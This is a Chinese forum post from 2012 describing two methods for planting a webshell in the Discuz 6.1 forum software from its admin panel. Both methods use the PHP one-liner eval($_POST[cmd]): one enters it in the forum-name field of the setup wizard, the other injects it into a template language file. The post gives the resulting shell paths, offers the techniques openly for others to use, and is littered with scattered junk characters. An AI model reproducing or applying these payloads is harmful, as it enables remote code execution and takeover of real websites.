discuz6.1两种方法后台拿shell
" s- K9 i$ O3 p& h o$ e `3 A好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下1 r1 i; d3 |) j' Z
1:7 D* f0 f! }: f/ X5 ~& l5 w
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
+ F* J: {- B) ladmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell2 V1 c1 O8 D& Q% t
<?php eval($_POST[cmd]);?>, v: L- ]+ L1 ~; |4 X$ F
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
4 q1 o- l7 u/ O( Z7 N
; I6 L2 I. q9 ?
: e, v. U/ {9 X( B; G! l2:后台模板管理--默认模板套系--详情0 ?: T3 b; x5 i) l: D! P
templates/default/actions.lang.php
3 x9 i7 i( `5 X, hjhackj\\');eval($_POST[cmd])?>;// d% i, G; K2 A) f, _6 `! k8 r
; D+ @& s8 ~7 |) q
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对